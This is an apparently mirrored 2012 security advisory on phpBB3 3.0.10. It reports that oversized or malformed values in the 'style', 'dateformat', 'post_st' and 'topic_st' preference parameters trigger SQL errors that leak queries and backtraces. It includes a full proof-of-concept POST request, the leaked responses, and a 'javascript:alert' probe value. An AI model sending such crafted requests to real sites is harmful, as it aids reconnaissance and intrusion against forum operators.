phpBB3 SQL Injection

🗓️ 28 Jul 2012 00:00:00Reported by HauntITType
packetstorm🔗 packetstormsecurity.com👁 69 Views
phpBB3 SQL Injection on version 3.0.10 allows SQL-info-leak via vulnerable parameters 'style', 'dateformat', 'post_st', 'topic_st' in ucp.ph
`------------------------------------------------------------------  
Name : phpBB3 SQL Injection  
------------------------------------------------------------------  
Date : 27.07.2012  
------------------------------------------------------------------  
Site : www.phpbb.com  
------------------------------------------------------------------  
Version : 3.0.10  
------------------------------------------------------------------  
  
1) What is it?  
This is very nice forum board. You should try it!  
------------------------------------------------------------------  
2) Type of bug?  
SQL Injection (or SQL-info-Leak if You want).  
------------------------------------------------------------------  
3) Where is the bug?  
Vulnerable parameter seems to be 'style' because if we set up this parameter  
to 'bigger number' (for example: 111111111) we will get an error, with full SQL  
statement.  
  
*updated - dateformat is the second vulnerable parameter!  
*updated - post_st is the 3rd vulnerable parameter!  
*updated - another one: topic_st  
  
  
4) PoC traffic from Burp:  
4.1) Request :  
  
---  
POST /kuba/phpBB/phpBB3/ucp.php?i=prefs&mode=personal HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://localhost/kuba/phpBB/phpBB3/ucp.php?i=174  
Cookie: style_cookie=null; phpbb3_t4h3b_u=2; phpbb3_t4h3b_k=; phpbb3_t4h3b_sid=  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 258  
Connection: close  
  
viewemail=1  
&massemail=1  
&allowpm=1  
&hideonline=0  
&notifypm=1  
&popuppm=0  
&lang=en  
&style=%2b1111111111  
&tz=0  
&dst=0  
&dateoptions=D+M+d%2C+Y+g%3Ai+a  
&dateformat=D+M+d%2C+Y+g%3Ai+a  
&submit=Submit  
&creation_time=1343370877  
&form_token=576...  
  
---  
  
4.2) Response:  
  
---  
HTTP/1.1 503 Service Unavailable  
Date: Fri, 27 Jul 2012 06:39:06 GMT  
Server: Apache/2.2.22 (Ubuntu)  
X-Powered-By: PHP/5.3.10-1ubuntu3.2  
Vary: Accept-Encoding  
Connection: close  
Content-Type: text/html  
Content-Length: 2889  
  
  
<!DOCTYPE html PUBLIC "(...)  
  
<a href="./">Return to the index page</a> </div> <div id="acp"> <div class="panel">  
<div id="content">  
<h1>General Error</h1>  
<div>SQL ERROR [ mysqli ]<br /><br />Out of range value for column 'user_style' at row 1 [1264]<br />  
<br />SQL<br /><br />UPDATE phpbb_users  
SET user_allow_pm = 1, user_allow_viewemail = 1, user_allow_massemail = 1, user_allow_viewonline = 1,   
user_notify_type = '0', user_notify_pm = 1, user_options = '230271', user_dst = 0,   
user_dateformat = 'D M d, Y g:i a', user_lang = 'en', user_timezone = 0, user_style = 1111111111  
WHERE user_id = 2<br />  
<br />BACKTRACE<br /><div style="font-family: monospace;"><br />  
<b>FILE:</b> [ROOT]/includes/db/mysqli.php<br />  
<b>LINE:</b> 182<br />  
<b>CALL:</b> dbal->sql_error()<br /><br />  
<b>FILE:</b> [ROOT]/includes/ucp/ucp_prefs.php  
<br /><b>LINE:</b> 100<br />  
<b>CALL:</b> dbal_mysqli->sql_query()<br /><br />  
<b>FILE:</b> [ROOT]/includes/functions_module.php<br />  
<b>LINE:</b> 507<br />  
<b>CALL:</b> ucp_prefs->main()<br />  
<br /><b>FILE:</b> [ROOT]/ucp.php<br />  
<b>LINE:</b> 333<br />  
<b>CALL:</b> p_master->load_active()<br />  
</div><br /></div>  
<p>Please notify the board administrator or webmaster: (...)  
  
---  
  
  
4.2 Other response (this time from post_st parameter):  
---  
</style></head><body id="errorpage"><div id="wrap">   
<div id="page-header">   
<a href="./">Return to the index page</a>   
</div> <div id="acp"> <div class="panel">  
<div id="content">  
<h1>General Error</h1>  
<div>SQL ERROR [ mysqli ]<br /><br />  
Incorrect integer value: 'javascript:alert(123123);/' for column 'user_post_show_days' at row 1 [1366]  
<br /><br />An SQL error occurred while fetching this page.   
Please contact the <a href="(...)  
---  
  
5) More?  
  
- Ethical hacking for Your company:  
http://hauntit.blogspot.com  
  
- Burp Proxy:  
http://www.portswigger.org   
  
- phBB3 Download:  
http://www.phpbb.com   
  
  
`
28 Jul 2012 00:00Current
0.2Low risk
Vulners AI Score0.2